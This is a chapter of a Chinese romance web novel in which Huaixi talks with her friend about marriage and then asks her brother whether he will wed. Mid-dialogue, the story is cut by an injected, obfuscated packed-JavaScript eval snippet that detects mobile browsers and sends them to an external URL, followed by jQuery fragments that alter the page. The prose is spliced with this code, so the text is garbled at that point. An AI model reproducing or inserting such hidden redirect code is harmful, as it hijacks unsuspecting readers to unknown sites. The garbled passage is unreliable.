当初,若不是被杨铭清俊的脸庞和一身读书人的孤傲风姿吸引,她哪里会答应这门亲事,远离故土。
怀夕似懂非懂地点点头。
丁心兰东一块西一块地倾吐着,前因后果怀夕听得有些晕乎,不过大致听明白了,就是有人要来抢圆圆姐姐的相公。不过,圆圆姐姐伤心的不是有人来抢她的相公,而是她的相公没有明确表示拒绝,所以圆圆姐姐生气了,欲抛弃她的相公回娘家去了。
虽然不是很能理解丁心兰的心情,但鉴于她对丁心兰的了解和偏爱,她绝不是无理取闹的人。
所以,她得出一个结论:定然是杨大哥做错了。
想到不日就要离开金陵,恐怕以后也无法替怀夕把把眼,丁心兰打开话篓子一般,想将毕生所知道的经验告诉怀夕,“不过话又说回来,有些时候,相貌端正也不全是坏事。我听我娘亲说起我老家的姨婆,年轻时嫁了个相貌不那么周全的书生,后来那书生考上秀才后,往家里领了好几房妾室,可见辨别男子好坏,不能完全以外貌概之。”
怀夕边帮丁心兰斟茶,边表示赞同,“姐姐说得有理,那这样说来,还是找个端正些的,至少平日看着悦眼些。”
“......”丁心兰滞了一下,她倒不是这个意思,不过再细想,也是这个道理,于是拿起怀夕推过来的茶杯,也点了点头。
有一搭没一搭地说着,丁心兰忽然看了看周围,见没人,朝凑近,低声问道:“你同姐姐说实话,你觉得那裴世子如何?”
裴劭?
如何?
不知道怎么突然提出裴劭,怀夕愣了一愣,在丁心兰殷切的目光中歪了歪脑袋,似在认真想着说辞,好一会才憋出一句,“他挺仗义的啊。”
丁心兰皱了皱眉,说:“不是这个。”
“那是哪个?”
丁心兰叹了口气,知道不直白说怀夕定然听不懂,只好解释道:“就是作为男子,你觉得怎么样?”
联系刚刚二人讨论过的话题,怀夕好似有些明白丁心兰的意思。
是问,裴劭若做她的夫君,怎么样?
怎么样?怀夕没有想过。
不止是没想到裴劭当她的夫君,而是从来没有想过她可能会与另外一个人一起生活。
离开哥哥,与别人生活......
怀夕脑海里一阵空白,只是想一想,心情都是闷闷的。
于是,她撅了撅嘴,回道:“不怎么样。”
丁心兰有些惊讶怀夕的回答,在她看来,裴世子实在是难得一遇的好人选。
裴劭外貌家世顶尖,又未曾婚配,说句不好听的,家中无公婆,对新妇更是难言的好处,一嫁过去便是掌中馈的世家妇。
所以,裴劭自然成为京里许多贵妇人钟情的女婿人选。丁心兰这几月参加一些宴会,多多少少也听闻裴世子的许多事,尤其是房内事。
总而言之,这裴世子哪里都好,最重要的是,房里干净得很。
不过转念一想,裴世子是当红的热饽饽,如今有这么多人盯着,将来就算成婚也难免会有有心人惦记着。
连她家乡,那小小的苏宁三妻四妾的人不在少数,更别说是这金陵城了。
丁心兰心里一通分析,顿时觉得裴劭也不是样样都好了。
太过完美,也不是一件好事。
不过说起当红的热饽饽,丁心兰不免想起怀夕的哥哥宋承云。
虽没有裴劭的家世,但裴劭有的其他东西,宋承云只比他更甚。
满腹经纶,才华横溢。
芝兰玉树,熠熠白雪。
只是那些贵妇人挑婿的眼光向来挑剔,说宋状元什么都有,就是清冷过了头。
风光霁月自然高洁,可若过日子的人如无法堪折的雪岭之花......这些贵妇人身在闺中,都知道婚后受丈夫冷遇是多煎熬的事。
不过也有夫人下场辟谣,说宋状元对家中妹妹甚是可亲,将来对妻子定然更贴心。男子在外面不近女色可不是什么坏事,只是回家能对夫人温柔笑意......
于是,各夫人又开始蠢蠢欲动,又想将宝压到这位状元郎身上。
“不说裴劭了。”丁心兰说道,“倒是你哥哥,如今可是多家女儿的如意郎君人选。”
宋承云比怀夕大上三岁,如今也十五有三了。
怀夕恩了一声,她也知道。
“哥哥这般好,喜欢她的女子多不足为奇。”怀夕撑着下颌懒懒说道,“只能说她们眼光好。”
丁心兰噗嗤笑了出来,却无法反驳。
日光姣好,眼前少女的眼珠剔透如秋池,丁心兰点了点怀夕的鼻子,意有所指道:“夕儿妹妹这般乖巧可人,喜欢你的人也真是有眼光。”
“总之,你放心吧,你哥哥这般疼你,将来定会替你选一个可心的如意郎君的。”
怀夕没听出她的话中意,只是俏皮地伸手欲捂上她的嘴,两人笑着闹成一团。
-
待娇娇醒后,丁心兰便携着女儿家去。临走前,她嘱咐怀夕近日莫去找她,又说到时离京前就不来同她告别,待她到了苏宁,再写信给她。
怀夕见丁心兰下定决心,也没有多挽留,只殷殷嘱咐她一定要=来信。
可能是说了一下午的话,到了晚膳时分,怀夕罕见地十分沉默,吃得也比往日少许多。
宋承云以为是天气炎热的缘故,也没有多说什么。
饭后,屋外余晖依旧,兄妹二人照例在游廊里散步。
宋承云走在前面,夕阳余光肆意蓬勃,他的身影笼在金光下。
怀夕跟在后面,低着头踩着前面人的影子。一步一步,从头顶踩到心上。
踩到心上,就前进不得了。
前面的人转过身来,而怀夕没止住脚步,直直撞上刚刚踩中的位置。
宋承云双手扶住她的肩,稳住心不在焉的她。
此时难得凉风习习,怀夕却如同园子里蔫蔫的几株月季,提不起精神。
饶是再迟钝,宋承云也发现她不对劲。他稍微想了一下,见杨铭的夫人前还无异样,那就只能是与杨夫人相关了。
“怎么了?”他低头问她。
“圆圆姐姐要走了。”虽然没有挽留,但怀夕心里其实还是很舍不得她们母女的。
宋承云不知道前因后果,下意识问道:“去哪?”
“回她自己家啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011722|159707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”怀夕仰着头,认真地解释:“杨大人沾花惹草,圆圆姐姐说要同他和离。”
“......”
意外之外的回答,宋承云难得语滞。
别人的家事,他无意了解,不过说的是他熟悉的人,他又难免联想了一下。
杨铭的为人他有所了解,不太像是妹妹说的这种.......沾花惹草的人。但真想如何,他确实不知,因此也无从评判。
而他的沉默落在怀夕眼中,便是迟疑和偏袒,她眼眸酝着些许薄怒,“哥哥要替他狡辩不成?”
稚气未退,偏偏装出一副盛气凌人的模样。宋承云觉得好笑,但也知道此刻不该笑,只是摇了摇头。
不清楚,也不评价。
宋承云置身事外的态度让怀夕一时也抓不住错处,只好踢了踢一旁的石壁。
真是生气,若不是杨大人朝三暮四,圆圆姐姐就不会离开了。
天色渐渐暗了下来,金光揉杂了暗灰色,宋承云提步准备回去,“走吧。”
怀夕乖乖跟上他的脚步,而宋承云将她送到院门外,便转身欲回书房。
一路沉默的怀夕在踏入院门内后,不知想到什么,又提出裙摆小跑出来拉住宋承云的衣袖。
回廊下的烛火还没有点亮,天边墨影渐渐铺地。
宋承云其实在听到后头的脚步声时已经放慢了脚步。
很快,浅绯色的衣袖盖住他的,手臂上是淡淡的温热。
怀夕其实很少穿这般淡色的衣裳的。她青睐鹅黄、豆绿、雪蓝、桃粉那样五彩斑斓的衣饰,如同她精灵活泼的性格,总是能在第一时间抓住别人的眼球。
但这样素淡的颜色,穿在她身上,也充盈了满满的活力。
绯色衣裙衬得她莹白小脸愈发晶莹,如同上好的美玉,在昏暗中泛着隐隐的光泽。
她的眼眸如清晨的朝露,干净不染凡尘,在那样的目光下,仿佛什么都愿意为她捧过来。
看着缠在手腕上青葱般的纤纤玉指,宋承云一如既往耐心等着。
怀夕低着头犹豫了下,而后才仰起头看他,“哥哥,你会娶亲吗?”
宋承云的目光落在怀夕嘴角浅浅的梨涡上,手上的温热仿佛变得有些灼人。
妹妹时时都有很多想法,她问什么,宋承云都没有觉得很意外,让他意外的是,在妹妹清透的眼神下,他脱口而出的发问。
“你想让我娶亲吗?”
话音刚落,他其实已经觉得这话说得不妥,他知道妹妹大约是听了杨夫人的事情,所以临时起了心思问他。
并没有什么别的深意。
他想再说些什么,可眼前的人儿在听到他的问题后将头缓缓垂下,宋承云看见她抿着唇。他知道,这是她的习惯,她认真思考问题时常常有这样的动作。
“想。”像是强调一般,怀夕重重地点点头,“只要哥哥喜欢。”
说完后,她松开紧抓在手里的半截衣袖,
全然的真心,所以连笑意也带着真诚与笃定。
昏暗中,宋承云从她清透干净的眼眸里看到小小的自己,他默然一瞬,再看她时,声线仍如往常清冽。
他说:“好。”